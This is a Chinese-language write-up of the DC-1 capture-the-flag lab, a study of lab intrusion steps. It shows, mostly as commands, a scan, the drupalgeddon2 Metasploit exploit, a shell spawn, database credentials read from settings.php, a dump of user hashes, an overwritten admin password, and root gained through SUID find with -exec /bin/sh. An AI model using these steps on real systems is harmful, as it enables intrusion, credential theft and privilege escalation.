DC1
1.先进行ip扫描
2.再进行端口扫描
发现如下:
└─$ nmap -sV -A -p- 192.168.254.144
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-29 08:04 CST
Nmap scan report for 192.168.254.144
Host is up (0.00096s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-server-header: Apache/2.2.22 (Debian)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 38512/tcp6 status
| 100024 1 46147/udp status
| 100024 1 48937/tcp status
|_ 100024 1 59979/udp6 status
48937/tcp open status 1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.67 seconds
对端口进行观察:
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Debian))
发现Drupal 7 (http://drupal.org)我们可以尝试使用靶场ip找到网页
我们发现网页上有账号和密码,我们可以采用多种方式登录,但是这次选择matespolite
我们通过search drupal搜索一下该靶机的漏洞,发现了大量漏洞,我们可以直接随便选一个使用,选错可以换(本次我选择的是:unix/webapp/drupal_drupalgeddon2)
我们通过show options展示参数,发现yes只有靶机ip,则用set对其进行设置
run运行
shell进入其中
id查询权限
这时候我们需要切换成一个交互的shell
python -c 'import pty;pty.spawn("/bin/bash")'
ls后发现了网页的很多信息知道了是在服务器里面,还看到了flag1.txt(关键信息)
cat flag1.txt看一下内容
显示如下信息
cat flag1.txt
Every good CMS needs a config file - and so do you.
根据提示信息我们要寻找配置文件,我们通过搜索Drupal 7寻找他的配置文件
find / -name settings.php
拿到路径:/var/www/sites/default/settings.php
显示配置文件cat /var/www/sites/default/settings.php
拉到头观察,发现了flag2,还发现了一个php数组
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
mysql -udbuser -pR0ck3t
mysql -udbuser -pR0ck3t是一个用于登录MySQL数据库的指令,其中-udbuser表示登录的用户名是dbuser,-pR0ck3t表示使用的密码是R0ck3t。
进入到mysql中我们使用mysql指令对其进行一些小操作
先show databases;看一下数据库信息
use drupaldb;选中一下数据库
show tables;看一下表
观察后我们发现了users这个表
select * from users\G;查一下表(直接显示很乱,需要\G纵向显示观察)
发现了两组数据
*************************** 2. row ***************************
uid: 1
name: admin
pass: $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
mail: admin@example.com
theme:
signature:
signature_format: NULL
created: 1550581826
access: 1550583852
login: 1550582362
status: 1
timezone: Australia/Melbourne
language:
picture: 0
init: admin@example.com
data: b:0;
*************************** 3. row ***************************
uid: 2
name: Fred
pass: $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg
mail: fred@example.org
theme:
signature:
signature_format: filtered_html
created: 1550581952
access: 1550582225
login: 1550582225
status: 1
timezone: Australia/Melbourne
language:
picture: 0
init: fred@example.org
data: b:0;
3 rows in set (0.00 sec)
观察一下,尝试对pass解码
name: admin
pass: $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
尝试john --wordlist=/usr/share/wordlists/rockyou.txt 文件名 对其进行解码
发现爆破不出来
于是想办法直接修改密码
但是我们需要知道解析模式。
1.找到源码进行加密
2.找到脚本进行加密
3.直接注册一个
于是使用exit先退出mysql
ls看看有没有相关的脚本文件
发现了scripts
cd scripts
看看里面都有什么
找到了password-hash.sh
cat显示一下
找到了使用示例:
Generate Drupal password hashes from the shell.
Usage: {$script} [OPTIONS] "<plan-text password>"
Example: {$script} "mynewpassword"
由于我们没有环境无法执行php
于是乎我们先回到上级目录
cd ../
使用php scripts/password-hash.sh laoyuailuguan
password: laoyuailiguan hash: $S$D8wB2GGJVqzWs.CMRNzVlgrp5/3FTybA8eGcOwMCf7bcqDGZyHH.
更新数据
update users set pass="$S$D8wB2GGJVqzWs.CMRNzVlgrp5/3FTybA8eGcOwMCf7bcqDGZyHH." where name="admin";
去网站进行登录并查找flag
找到flag3:Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.(特殊的PERMS将帮助找到密码-但你将需要执行该命令,以找出如何获得shadow中的值。)
按照提示提权:find / -type f -perm /4000 2>/dev/null这个指令的作用是从根目录开始搜索所有具有特定权限4000,我们可以那这些指令去网上看哪个可以用于提权
锁定find指令。使用find . -exec /bin/sh \;提权
id查看权限uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
cd到root目录下也就结束了。